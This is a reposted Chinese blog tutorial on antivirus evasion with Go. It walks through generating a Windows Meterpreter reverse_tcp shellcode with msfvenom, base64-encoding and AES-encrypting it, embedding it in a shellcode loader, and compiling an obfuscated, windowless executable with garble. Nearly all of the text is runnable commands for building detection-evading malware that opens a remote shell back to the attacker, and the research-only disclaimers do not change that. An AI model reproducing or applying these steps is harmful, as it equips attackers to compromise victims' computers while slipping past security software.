基于GO语言的免杀

admin 2023年4月15日14:17:39评论206 views字数 763阅读2分32秒阅读模式

本文仅供安全研究与学习之用,反对一起危害网络安全行为及其他用途,由使用者承担全部法律及连带责任,作者不承担任何法律及连带责任。

关于

在前面的文章中,我们讲到了利用Python实现加载shellcode实现文件的免杀。本文我们来探讨基于GO的免杀吧。

安装

我们需要先安装go环境。在kali中执行下面命令进行安装。

sudo apt-get update && sudo apt-get install -y golang

基于GO语言的免杀接下来,我们需要克隆项目到我们的本地。

git clone https://github.com/HZzz2/go-shellcode-loader.git
cd go-shellcode-loader
//下条命令安装第三方混淆库  
go install mvdan.cc/garble@latest    
基于GO语言的免杀

生成shellcode并base64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.123.43 LPORT=5555 -f raw > kali.raw
base64 -w 0 -i kali.raw > kali.bs64
cat kali.bs64
基于GO语言的免杀

基于GO语言的免杀复制shellcode到aes-sc.go中的44行替换payload

基于GO语言的免杀运行aes-sc.go生成AES加密后的值

go run aes-sc.go
基于GO语言的免杀

复制输出的值到go-sc.go中的52行替换payload

编译成exe可执行程序

garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go

更多精彩文章 欢迎关注我们


原文始发于微信公众号(kali黑客笔记):基于GO语言的免杀

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月15日14:17:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于GO语言的免杀http://cn-sec.com/archives/1668765.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息